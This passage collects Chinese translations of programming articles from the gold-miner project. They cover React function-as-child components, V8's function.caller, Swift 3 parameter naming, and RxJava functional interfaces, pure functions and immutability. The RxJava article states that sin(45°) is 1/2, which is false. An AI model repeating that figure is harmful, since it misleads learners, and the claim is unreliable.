      ); } } Ratio.propTypes = { x: React.PropTypes.number.isRequired, y: React.PropTypes.number.isRequired, children: React.PropTypes.func.isRequired, }; Ratio.defaultProps = { x: 3, y: 4 }; ``` 好吧,在这我做了很多东西。我们添加了一些事件监听来监听 resize 事件以及使用提供的比率计算实际的宽度高度。所以我们得到的宽高在组件的 state 里,那我们如何与其他组件共享它们呢? 这是一件难以理解的事情,因为它很容易让人认为“这就完了?”,但事实这就是全部了。 #### 子类组件只是一个 Javascript 函数 #### 这意味着想要计算出宽度和高度,我们只需要提供参数: ``` render() { return (
      {this.props.children(this.state.width, this.state.height, this.state.hasComputed)}
      ); } ``` 现在任何人都可以使用比例组件通过提供的宽度以他们喜欢的方式来正确计算出高度!例如,有人可以使用比例组件来设置 img 上的比例: ``` {(width, height, hasComputed) => ( hasComputed ? : null )} ``` 同时,在另一个文件中,有人决定使用它来设置 CSS 属性。 ``` {(width, height, hasComputed) => (
      Hello world!
      )}
      ``` 在另一个 app 里,有人正根据计算高度使用不同的子类组件: ``` {(width, height, hasComputed) => ( hasComputed && height > TOO_TALL ? : )} ``` ### 优势 ### 1. 构造组件的开发人员能自主控制如何传递和使用这些属性。 2. 函数作为子类组件的组件的作者不强制组件的值如何被利用,允许它非常灵活的使用。 3. 组件使用者不需要创建另一个组件来决定怎样从“高阶组件”传入属性。高阶组件通常在组成的组件上强制执行属性名称。 为了解决这个问题,许多“高阶组件”提供了一个选择器函数,允许组件使用者选择属性名称(请参考 redux 里 connect 选择函数)。而函数子组件没有这样的问题。 4. 不污染 “props” 命名空间,这允许你同时使用 “Ratio” 组件和 “Pinch to Zoom” 组件,不管它们是否都会计算宽度。高阶组件带有与它们组成的组件相关的隐式契约,不幸的是这可能意味着 prop 的名称会发生冲突以至于高阶组件无法与其他组件进行组合。 5. 高阶组件在你的开发工具和组件本身中创建一个间接层,例如设置在组件上的常量被高阶组件封装后将无法使用。例如: ``` MyComponent.SomeContant = 'SCUBA'; ``` 然后被高阶组件封装, ``` exportdefault connect(...., MyComponent); ``` 和你的常量说再见吧。因为如果没有高阶组件提供的函数,你将再也不能访问到这个常量。哭。 #### 总结 #### 大多数时候我们会认为“我需要一个高阶组件来实现这个共享功能!”根据我的经验,我相信在多数情况下函数作为子类组件的组件是一个更好的替代方法来抽象你的 UI 问题,除非你的子组件与其组合的高阶组件真正耦合。 #### 关于高阶组件的不幸事实 #### 补充一下,我认为高阶组件的名称不正确,尽管现在尝试修改已经有点晚了。高阶函数是至少执行以下操作之一的函数: 1. 将n个函数作为参数。 2. 返回一个函数作为结果。 事实上,我们常说的高阶组件做了类似的事情,也就是拿一个组件作为参数并返回一个组件,但是我更容易将高阶组件看作是工厂函数,它是一个能动态创建的组件将允许的功能用于组件的运行组合。然而,在运行组合的时候他们是**不知道**你的 React 的 state 和 props 。 函数作为子类组件的组件允许你的组件们在作出组合决策时可以访问 state , props 和上下文。当函数作为子组件: 1. 将一个函数作为参数。 2. 渲染此函数的结果。 我觉得它们应该被命名为真正的“高阶组件”,因为它像高阶函数只使用组件组合技术而不是功能组合。好吧,现在我们还是继续用“将函数作为子类的组件”这个粗暴的名字。 ### 例子 ### 1. [Pinch to Zoom - Function as Child Component](https://gist.github.com/iammerrick/c4bbac856222d65d3a11dad1c42bdcca) 2. [react-motion](https://github.com/chenglou/react-motion) 这个项目在讲了很长一段时间这个概念之后,高阶组件才演变出函数作为子类组件的组件。 ### 不好之处(补充翻译 by 老教授) ### 虽然函数作为子组件的组件这种模式可以让你在渲染的时候更灵活,但是,在不特地改动你的组件的前提下,你没法用标准的 SCU 对它进行优化。这个 Dan(Redux 作者)在 tweeter 上说过了。 不过 Dan 也提到这里有一个灰色地带:“很多情况下其实这并不是问题,react-motion 就用了这种模式,依然跑得好好的”。 目前为止我个人并没有发现它成为性能的阻碍。即便是高阶组件也会有类似问题,也时常要接收一些未知的属性,所以也经常要做些特殊优化。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/function-caller-considered-harmful.md ================================================ > * 原文地址:[function.caller considered harmful](https://medium.com/@bmeurer/function-caller-considered-harmful-45f06916c907) > * 原文作者:[Benedikt Meurer](https://medium.com/@bmeurer?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/function-caller-considered-harmful.md](https://github.com/xitu/gold-miner/blob/master/TODO/function-caller-considered-harmful.md) > * 译者:[yankwan](https://github.com/yankwan) > * 校对者:[Starriers](https://github.com/Starriers) # function.caller 被认为是有害的 今天我收到来自微软的 Patrick Kettner 提的这个问题,然而我发现这个问题是我已经回答过的,只不每次的问题稍有不同而已。 ![Snipaste_2018-03-05_14-09-37.png](https://i.loli.net/2018/03/05/5a9cdf3029af2.png) 最终我发现是自己在第一次看到这个问题的时候理解错了这个问题,并且当别人在 Twitter 上回应的时候我也没有足够重视这个问题。 ![Snipaste_2018-03-05_14-10-35.png](https://i.loli.net/2018/03/05/5a9cdf5faff49.png) 最后 Patrick 又提醒我一次,我才发现引起他兴趣的并不是 arguments.caller,而是函数对象的 "caller" 这个神秘的属性 ——— 准确来说是非严格模式下的函数对象。 JavaScript 在历史上曾提供了一个有魔力的 foo.caller 属性,它可以返回调用 foo 函数的引用。使用该属性存在着众多问题,例如它可能会因跨域调用产生安全问题、它在复杂的 JavaScript 引擎中实现的不够充分、它难以维护和测试、诸如对闭包的内联插入,逃逸分析和标量替换的优化都变得不可行,甚至在调用 "caller" 的属性访问器时,这些优化在返回的调用函数中也无法实现。 * * * 很多不可思议的事在非严格模式函数中都被限制了。严格模式下函数通过 [AddRestrictedFunctionProperties](https://tc39.github.io/ecma262/#sec-addrestrictedfunctionproperties) 定义 "caller" 的访问器,当访问该属性的时候会抛出一个类型错误。 ![](https://cdn-images-1.medium.com/max/800/1*c_2sPWSdvAKKPq1Lz9BD7A.png) 对于非严格模式的函数,目前 EcmaScript 规格中的定义也是非常模糊的,基本上对它没有做任何的规范限制。在章节 [16.2 禁止扩展](https://tc39.github.io/ecma262/#sec-forbidden-extensions)中说到: > 如果扩展非严格模式或内置函数对象的时候,将对象自己的属性命名为 "caller" ,并且它的值通过 [[Get]] 或者 [[GetOwnProperty]] 定义的话,这种情况下必须保证不是严格模式。如果它是作为一个访问器属性,通过 [[Get]] 属性获取它的值将会返回调用它的函数,那么这个时候不会返回严格模式下的函数。 所以在非严格模式函数下的 "caller" 属性,或多或少完全实现了既定的行为。唯一的限制是如果有 yield 一个变量,那么这个变量一定不是严格模式下的函数。所以在非严格模式下,给 "caller" 赋一个默认值 42 是一个合理做法。显然实现中并没有这么做 —— 尽管有把这个添加到 V8 中的想法,同时现在也极不建议大家使用 foo.caller。 * * * 这是我们目前如何在 V8 中实现这些(有误导性的)特性 —— 也正是如何在 Chrome 和 Node.js 中运行的。"caller" 这个属性在非严格模式函数中是一个特殊的访问器,其实现方法 [FunctionCallerGetter](https://cs.chromium.org/chromium/src/v8/src/accessors.cc?type=cs&l=1044) 在 accessors.cc 源码文件中实现,同时在该文件实现的还有核心的逻辑方法 [FindCaller](https://cs.chromium.org/chromium/src/v8/src/accessors.cc?type=cs&l=1000)。要理解下面这些规则可以说是比较困难的,但这就是当你在非严格模式下访问 foo.caller时我们底层代码所做的事: 1. 首先找到函数 foo 的最近一次的调用,例如 foo 的最后一次还没返回给调用方的调用。 2. 如果当前 foo 不存在被调用的情况,则立即返回 null。 3. 如果处于正被调用的情况,我们通过查看非用户层的 JavaScript 代码的调用情况,找到它的上级调。 4. 如果通过上述规则没有找到上级调用,我们直接返回 null。 5. 如果能找到上级调用,如果它是严格模式的函数或者是我们不需要访问的 —— 例如来自不同域的函数 —— 这种情况下我们也返回 null。 6. 否则的话,我们则返回上级调用的闭包。 这里给出了一个它们如何工作的简单例子: ![](https://cdn-images-1.medium.com/max/800/1*ulOC-6Xuiy9FGDKk19ge0A.png) 现在你对 foo.caller 是怎么工作已经有了一个基本的了解,这里我强烈建议你不要再使用它。正如上述所说的,它基本上是一个不能保证完全实现的特性。我们目前仍然会提供支持,但对于 arguments.caller,正如在 [crbug.com/691710](https://bugs.chromium.org/p/chromium/issues/detail?id=691710) 提到的一样,我们可能在某个时间会移除它 —— 因为我们希望能够对闭包做逃逸分析和标量替换 —— 所以不要依赖它 —— 同时显然其他 JavaScript 引擎或许根本不支持这种特性。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/function-naming-in-swift-3.md ================================================ > * 原文地址:[Function Naming In Swift 3](http://inaka.net/blog/2016/09/16/function-naming-in-swift-3/) * 原文作者:[Pablo Villar](https://twitter.com/volbap) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Zheaoli](https://github.com/Zheaoli) * 校对者:[Kulbear](https://github.com/Kulbear), [Tuccuay](https://github.com/Tuccuay) # Swift 3 中的函数参数命名规范指北 昨天,我开始将这个 [Jayme](http://inaka.net/blog/2016/05/09/meet-jayme/) 迁移到 Swift 3。这是我第一次将一个项目从 Swift 2.2 迁移至 Swift 3。说实话这个过程十分的繁琐,由于 Swift 3 在老版本基础上发生了很多比较大的改变,我不得不承认眼前这样一个事实,除了花费较多的时间以外,没有其余的捷径可走。不过这样的经历也带来一点好处:我对 Swift 3 的理解变得更为深入,对我来讲,这可能是最好的消息了。😃 在迁移代码的过程中,我需要做出很多的选择。更为蛋疼的是,整个迁移过程并不是修改代码那么简单,你还需要用耐心去一点点适应 Swift 3 中带来的新变化。某种意义上来讲,修改代码只是整个迁移过程的开始而已。 如果你已经决定将你的代码迁移到 Swift 3 ,我建议你去看看这篇[文章](http://www.jessesquires.com/migrating-to-swift-3/)来作为你万里长征的第一步。 如果一切顺利的话,在不久以后,我将回去写一篇博客来记录下整个迁移过程中的点点滴滴,包括我所作出的决定等等。但是眼前,我将会把注意力集中在一个非常非常重要的问题上:**怎样正确的编写函数签名**. ## 开篇 首先,让我们来看看在 Swift 3 与 Swift 2 相比函数命名方式的差异吧。 在 Swift 2 中,函数中的第一个参数的标签在调用时可以省略,这是为了遵循这样一个 [good ol' Objective-C conventions](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CodingGuidelines/Articles/NamingMethods.html) 标准。比如我们可以这样写代码: ~~~Swift // Swift 2 func handleError(error: NSError) { } let error = NSError() handleError(error) // Looks like Objective-C ~~~ 在 Swift 3 中调用函数时,其实也是有办法省略第一个参数的标签的,但默认情况下不是这样: ~~~Swift // Swift 3 func handleError(error: NSError) { } let error = NSError() handleError(error) // Does not compile! // ⛔ Missing argument label 'error:' in call ~~~ 当遇到这样的情况时,我们第一反应可能是下面这样的: ~~~Swift // Swift 3 func handleError(error: NSError) { } let error = NSError() handleError(error: error) // Had to write 'error' three times in a row! // My eyes already hurt 🙈 ~~~ 当然如果这样做,你肯定会很快意识到你的代码将将会变得有多坑爹。 如同前面所说的一样,在 Swift 3 中,我们是可以在调用函数时,将第一个参数的标签省略的,但是记住,你要去明确的告诉编译器这一点: ~~~Swift // Swift 3 func handleError(_ error: NSError) { } // 🖐 Notice the underscore! let error = NSError() handleError(error) // Same as in Swift 2 ~~~ > 你可能在使用 Xcode 自带的迁移工具进行迁移时遇到这样的情况。 注意,在函数签名中的下划线的意思是:告诉编译器,我们在调用函数时第一个参数不需要外带标签。这样,我们可以按照 Swift 2 中的方式去调用函数。 此外,你需要意识到,Swift 3 之所以修改了函数编写方式,是为了保证其一致性与可读性:我们不在需要对不同的参数区别对待。我想这可能是你遇到的第一个问题。 好了,现在代码可以编译运行了,但是你必须知道,你需要反复的去阅读 [Swift 3 API design guidelines](https://swift.org/documentation/api-design-guidelines/) 一文。 > ☝️ 一点微小的人生经验:你需要随时去诵读 [Swift 3 API design guidelines](https://swift.org/documentation/api-design-guidelines/) 一文,这会为你解锁 Swift 开发的新体位。 ## 第二步,精简你的代码 ![Pruning](http://v1.qzone.cc/pic/201507/27/16/46/55b5efcd7c79f853.png%21600x600.jpg) 让我们再来看看之前的代码: 为了精简我们的代码,你可以将你的代码进行[修剪](https://github.com/apple/swift-evolution/blob/master/proposals/0005-objective-c-name-translation.md#prune-redundant-type-names)一番,比如去除函数名里的类型信息等。 ~~~Swift // Swift 3 func handle(_ error: NSError) { /* ... */ } let error = NSError() handle(error) // Type name has been pruned // from function name, since it was redundant ~~~ 如果你想让你的代码变得更短,更精悍,更明了的话,我给你们讲,作为一个钦定的开发者,一定要去反复诵读这篇 [Swift 3 API design guidelines](https://swift.org/documentation/api-design-guidelines/) 文章到可以默写为止。 要注意让函数的调用过程是清晰、明确的,我们根据以下两点来确定函数的命名和参数: * 我们知道函数的返回**类型** * 我们知道参数所对应的类型(比如在上面这个例子中,我们毫无疑问的知道其参数所属的类型是 **NSError**)。 ## 更多的一些问题 现在请睁大眼睛看清楚我们下面所讨论的东西。 ⚠️ 上面我们所讲的东西并没有包括所有可能出现的情况,换句话说,你可能遇到这样一种特殊情况,即,一个参数的类型没有办法直观的体现其作用。 让我们考虑下面这样一种情况: ~~~Swift // Swift 2 func requestForPath(path: String) -> URLRequest { } let request = requestForPath("local:80/users") ~~~ 如果你想将代码迁移到 Swift 3 ,那么根据已有的知识,你可能会这么做: ~~~Swift // Swift 3 func request(_ path: String) -> URLRequest { } let request = request("local:80/users") ~~~ 讲真,这段代码看起来可读性很差,让我们稍微修改下: ~~~Swift // Swift 3 func request(for path: String) -> URLRequest { } let request = request(for: "local:80/users") ~~~ OK,现在看起来舒服多了,但是并没有解决我上面提到的问题。 在我们调用这个函数的时候,我们怎样很直观的知道我们需要给这个参数传递一个 Web Url 呢?你所能提前知道的是你需要传递一个 String 类型的变量进去,但是你并不清楚你需要传递一个 Web Url 进去。 同理,我们在一个大型项目中,我们需要很清楚的明白每个参数的作用所在,但是很明显,目前我们还没有解决这个大问题,比如: * 你怎么知道一个 `String` 类型的变量代表着 Web Url。 * 你怎么知道一个 `Int` 类型的变量代表着 Http 状态码。`[String: String]` * 你怎么知道一个 `[String: String]` 类型的变量代表着 Http Header。 * 等等...。 > ⚠️ 综上,我给你们一点微小的人生经验吧: **谨慎精简你的代码** ✄ 回到代码上,我们可以给参数添加上相对应的标签来解决这个问题,好了看看下面这个代码: ~~~Swift func request(forPath path: String) -> URLRequest { } let request = request(forPath: "local:80/users") ~~~ 好了,现在代码看起来是不是**更清楚**,**可读性**更强了呢? 🎉 恭喜~ ![Hooray](http://inaka.net/assets/img/rick-hooray-confeti.gif) > 讲真,看到这里其实你可以关闭浏览器了,但是事实上,下面才是最精华的部分。 好了,让我们来看看关于函数参命名的用词问题: ~~~Swift func request(forPath path: String) -> URLRequest { } // The word 'path' appears twice ~~~ 这段代码看起来不错,但是如果你想让其变得更好,那么请看接下来的部分。 ## 你所不知道的小技巧 这个小技巧很简单:在上下文中反映参数的类型及作用,这样你就可以无脑的精简你的代码了。 ![Prune with no mercy](http://inaka.net/assets/img/prune-with-no-mercy.gif) 呐,我们来看看下面这段代码。 ~~~Swift typealias Path = String // To the rescue! func request(for path: Path) -> URLRequest { } let request = request(for: "local:80/users") ~~~ 在这个例子中,参数的类型和参数的作用表达达成了一个完美的统一,因为你在上下文中为 `String` 赋予了一个别名叫做 `Path`。 现在,你的函数看起来还是依旧的精简,可读性较高,但是却不重复。 以此类推,你可以使用同样的方式来书写一些优美的代码,比如: ~~~Swift typealias Path = String typealias StatusCode = Int typealias HTTPHeader = [String: String] // etc... ~~~ 如你所见,你可以尽情的写精简而优美的代码了。 不过,请记住,凡事走向极端便变了味了:这个小技巧会为你的代码添加额外的负担,特别是你们代码存在多重嵌套的情况下。因此请记住,如果你无脑的使用这样的小技巧的话,那么你可能会付出一些惨痛的代价。 ## 结论 很多时候,你在使用 Swift 3 时,命名函数的时候你会遇到很多困难。 积累一些代码片段可能会帮助你很多: ~~~Swift func remove(at position: Index) -> Element { } employees.remove(at: x) func remove(_ member: Element) -> Element? { } allViews.remove(cancelButton) func url(forPath path: String) -> URL { } let url = url(forPath: "local:80/users") typealias Path = String // Alternative func url(for path: Path) -> URL { } let url = url(for: "local:80/users") func entity(from dictionary: [String: Any]) -> Entity { /* ... */ } let entity = entity(from: ["id": "1", "name": "John"]) ~~~ ================================================ FILE: TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md ================================================ > * 原文地址:[Reactive Programming [ Android RxJava2 ] ( What the hell is this ) Part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/) > * 原文作者:[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[XHShirley](https://github.com/XHShirley) > * 校对者:[stormrabbit](https://github.com/stormrabbit), [phxnirvana](https://github.com/phxnirvana) # 函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 - 响应式编程 [Android RxJava 2](这到底是什么)第三部分 太棒了,我们又来到新的一天。这一次,我们要学一些新的东西让今天变得有意思起来。 大家好,希望你们都过得不错。这是我们的 RxJava2 Android 系列的第三篇文章. - [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md) - [第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md) 在这篇文章中,我们将讨论函数式的接口,函数式编程,Lambda 表达式以及与 Java 8 的相关的其它内容。这对每个人近期都是有帮助的。 **动机:** 动机和我在分享[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md)时一致。Lambda 表达式、函数式编程、高阶函数等等总是让我在使用 Java 时很痛苦,因为大家都知道,Java 是面向对象编程的。所以,Java 怎么可能支持函数式编程。那么,在函数式编程里,Lambda 表达式的角色是什么呢?为了让所有问题变得简单明了,我会从函数式接口开始。重要的是,我向你们保证,只要你们 100% 看完这部分,你们将会对最近我们听到的所有名字都感觉自在很多。函数式接口,默认方法,纯函数,函数的副作用,高阶函数,可变的与不可变的,函数式编程与 Lambda 表达式。我觉得很多人最近都在使用 Lambda 表达式,但或许在读完这篇文章后,他们会更了解 Lambda 表达式。攻克难题的时刻到了。 **修改:** 在[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md),我们讨论了 Rx 最重要、最基础也最核心的概念,那就是观察者模式。在[第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md),我们讨论了拉模式和推模式,以及命令式和响应式编程。 **介绍:** 今天我们将会弄清楚所有关于函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程以及 Lambda 表达式的所有困惑。所以为了方便理解 Lambda 表达式的概念,我要先解释什么是函数式接口。 **函数式接口:** 一言以蔽之,**函数式接口是有且只有一个抽象方法的接口**。换言之,**任何拥有唯一抽象方法的接口都可以被称为函数式接口**。这里我想分享一些背景知识,这些知识不属于这个系列,但是对你面试尤其有用。如果你读过我的定义。我用了关键词抽象,众所周知的是接口里的方法都是抽象的,但那是 Java 8 出现之前的情况。在 Java 8 里,我们可以在接口中定义一个包含方法体的方法,这个方法叫默认方法,正如下面所示。 ``` public interface Account { void name(); default void showTyepOfAccount(){ System.out.println("Don't know :(" ); } } ``` 现在我们要回顾一下定义。函数式接口是个拥有一个抽象方法的接口。 所以现在,如果我问你上面的接口是不是一个函数式接口,你的答案是什么?根据定义,答案应该是:不是。但那却是一个有效的函数式接口,为什么呢…… 现在,如果接口定义默认方法或者继承并重写 java.lang.Object 类里的任何方法。那个接口还是函数式接口,这是因为 **java.lang.Object** 方法并不算数。正如我在下面展示给你的真正的函数式接口。 ``` public interface Add { void add(int a, int b); @Override String toString(); @Override boolean equals(Object o); } ``` 所以,任何有多于一个抽象方法的接口不能被称为函数式接口,正如下面所示。 ``` public interface Do { void why(); void sorry(); } ``` 我相信你已经理解了函数式接口的概念。这也是 Lambda 表达式重要的核心概念,一定要好好记住。 一些我们现在日常开发使用的函数式接口的例子: ``` public interface Runnable { public abstract void run(); } public interface OnClickListener { void onClick(View v); } ``` 现在是时候向你展示 Java 7 和 8 的 Comparator 接口了。它们都是有效的函数式接口。 Java 7 的比较器: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.23.27-AM-300x171.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.23.27-AM.png) 在 Java 8 里: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.25.44-AM-1024x773.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.25.44-AM.png)[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.29.23-AM-1024x650.png) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.29.23-AM.png) 可别搞混了。它们都是有效的函数式接口。只要记住函数式接口的三点原则。 只有一个抽象方法 - 可以有默认方法 - 可以使用 java.lang.Object 方法。 如果任何接口满足这三点,那就一定是有效的函数式接口,反之则不是。 在 Java 8 里有一个新的工具包 **java.util.function**。在这个包里,所有的接口都是函数式接口。当我们需要用到流(Stream) API 时,这个工具包很有用。当我们开始学习 Rx Android 的时候,这个包会让我们学到更多。 很重要的一点。当我们要开始使用 Rx Android 时,我们会使用很多这样的函数式接口。基本上,在安卓平台中,我们依赖于 Rx Java 和 Rx Android。现在,我将要给你看一看 Rx Java 1.0 和 2.0 包里的函数式接口。没有必要去记住这个,也没有必要紧张,这只是通用知识。只要试着记得函数式接口的概念就可以了。当你开始使用 Rx,这些你都会在潜移默化中记住的。 RxJava 1: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.27-AM-120x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.27-AM.png) RxJava2: [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.49-AM-182x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-04-at-9.56.49-AM.png) 哇哦!我们该庆祝一下我们已经知道什么是函数式接口,以及在 Java 8 里什么是默认方法。我在介绍一栏中写到的本章需要探讨的概念,已经解释完两个了。~~函数式接口、默认方法~~、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。 **函数式编程:** 说实话,我的大多数工作都是用 Java 和 C++ 完成的,而这两种语言都是命令式的而非纯函数式的。所以我打算尽力解决所有的我面对的困惑。如果我有什么地方弄错了,请不要介意。不过务必在回复里提醒我,这样我就可以修正我的文章了。 在进入无聊的定义之前,我打算回顾我们在学校里学习到的理论。这对接下来阐释剩下模棱两可的名词是很有帮助的。 每个做开发的人都知道函数。但是现在请试着忘记我们学习过的所有编程知识,重回学校。 好孩子。 数学概念上的函数是什么?[现在请忘掉你所知道的 Java 或者 C++ 等任何编程语言关于函数的所有知识。] 什么是函数?一个根据输入决定输出的方程式。挺无聊的,好的,那忘记这个。 有多少人听过下面的句子。 f(x) = x+3 如果 x = 2,答案是什么。 f(x) 等于 y。 y = x+3 x = 2 y = 2+3 y = 5 所以,f(x) = x+3 是一个函数。当你给同一个输入,会给你同样的输出。 再来一个例子。 有多少人记得 Sin(x) [ 三角函数 ] 我们当然记得。在学校的时候,对一个 45° 的角取正弦,我会得到 1/2 的答案,如下所示。 y = Sin(45deg) y = 1/2 后来我在大学时代里也用过相同意义上的“函数”。对于给定的输入值,会得到唯一的结果。这就叫纯函数。我会在接下来解释。 我们回顾了在大学里常用的一些函数。现在,当我们在编程中用同样的思想,这就叫函数式编程。不要紧张,我马上就会解释。我们从儿时的回忆里回来看看。 首先,我们要讨论一些困惑。比如当我们刚开始写程序的时候,都写过一个计算圆面积的函数。 ``` public double areaOfACircle(int radius){ return radius*radius*3.14; } ``` 很好。随着我变得更专业,我对函数认识也不同了。比如,写一个美元转巴基斯坦卢比的汇率计算器。 ``` public float convertUSDIntoPKR(int USD){ return USD*getTodayPKRValueFromAPI(); } ``` 在编程中,上面的是一个函数。但是在数学中,这就有问题了。因为在数学中,我们总是说,同一个输入对应同样的输出。但是编程中的函数给同样的输入可以有不同的输出,因为它依赖于其它数值。所以这里,我们又要介绍一个名词,叫纯函数。在数学概念里,我们知道每个函数都是纯函数,如 Sin(),但是,在我们的编程语言里,我们有很多函数给我们不同的数值。所以,这就是我们要介绍的,编程语言里的纯函数。 **纯函数的返回值由它的输入值决定,而且没有明显可见的副作用。** 下一个名词,副作用。任何不纯的函数叫非纯函数,它可能产生副作用。或者一些函数本身是纯函数(指对于给定的输入值可以得出相同的输出值),但是如果它在产生结果的时候与外界发生了数据交换,那么我们就不能说这是一个纯函数。 第一类非纯函数的典型就是 Random 函数。对于给定的一个输入值,它总是返回不同的结果。 第二类副作用的典型是 println() ,它是一个非纯的函数。因为它将输出值转去了输入输出设备(而不是作为函数返回值输出),所以产生了副作用。任何纯函数一旦用 println() 来注释打印,那它就不再是纯函数了。 一些例子: 纯函数: ``` public int squre(int x){ return x*x; } ``` 因为副作用而非纯的函数; ``` public int squre(int x){ System.out.println(x*x); return x*x; } ``` 非纯函数: ``` public void login(String username, String password, Callback c){ API.login(username, password, callback); } ``` 现在我们又理解了两个名词。纯函数和副作用。 ~函数式接口、默认方法、纯函数、函数的副作用~、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式。 接下来,我们准备讨论可变的不可变的。在数学中,我们记得,当我给函数一个值,我总能获得新的值,而我原来的值还是一样的。但是,在编程中,那个概念就变了。这时为什么我们有两种不同的定义。可变的和不可变的。在面向对象中,我们几乎无时不刻不在破坏不可变性。这可能导致很多问题,但是函数式编程总是利用不可变性。正如每个人都知道在 Java 里,String 是不可变的。 ``` String s = "Hello"; s = "World"; ``` 这里,我们本来的字符串从未改变。虽然第二行我们创建了新的字符串并且把它赋给我的 s 对象。 所以,什么是可变的?给你一个例子。 ``` int array []= {1,2,3,4,5}; for (int i = 0; i < array.length; i++) { array[i] = array[i] * 2; } ``` 在 Java 或者命令式编程中,我认为上面的代码基本上是可变的。它改变了原本的数组值。但是在函数式编程里,如果我做了同样的事情,我总是获得与 2 相乘后的数值组成的新数组,而我原来的数据仍然保持不变。 ``` Integer array []= {1,2,3,4,5}; Arrays.stream(array).map(v->v*2).forEach(i-> System.out.print(i+" ")); System.out.println(); for (int i = 0; i < array.length; i++) { System.out.print(array[i]+ " "); } ``` ``` Output: 2 4 6 8 10 1 2 3 4 5 ``` 上面的例子是用 Java 8 写的,但是那跟之后讲 Rx 是一样的。举出这个例子,只是为了帮助你理解可变和不可变的概念。正如你所看到的,所输出的原本的数组值并没有改变。 现在可能你在想这样的好处是什么。我这里用另外一个例子来解释。如果我知道我所有的函数都是纯的并且是不可变的,我可以做很多事情而不用管我数据的状态。例如,我要使用线程。 ``` public class FunctionalLambda { public static void main(String[] args) { Integer array []= {1,2,3,4,5}; new Thread(new Runnable() { @Override public void run() { for (int i = 0; i < array.length; i++) { array[i] = array[i]+1; } } }).start(); for (int i = 0; i < array.length; i++) { System.out.println(square(array[i])); } } public static int square(int a){ return a*a; } } ``` 在这个例子里,基本上我用到了线程。子线程让数组里的每一个数据 + 1,而主线程或者其他子线程则对数组中的数据做平方运算。作为一个开发者,我期望数值应如下所示。 ``` 1 4 9 16 25 ``` 但是,当我执行这段代码时,得到的结果如下。 ``` 4 9 16 25 36 ``` 结果和期望并不相同,因为我没有管数据可变性。现在我准备写一个合适的函数式程序,对数据的不可变性进行严格控制。 ``` public class FunctionalLambda { public static void main(String[] args) { Integer array []= {1,2,3,4,5}; new Thread(new Runnable() { @Override public void run() { Observable.from(array) .map(integer -> integer+1) .subscribe(integer -> {}); } }).start(); Observable.from(array) .map(integer -> square(integer)) .subscribe(integer -> System.out.println(integer)); } public static int square(int a){ return a*a; } } ``` 注意:如果要运行上面的例子,你需要[下载 rxjava 的 jar 包](https://mvnrepository.com/artifact/io.reactivex/rxjava/1.0.2)。 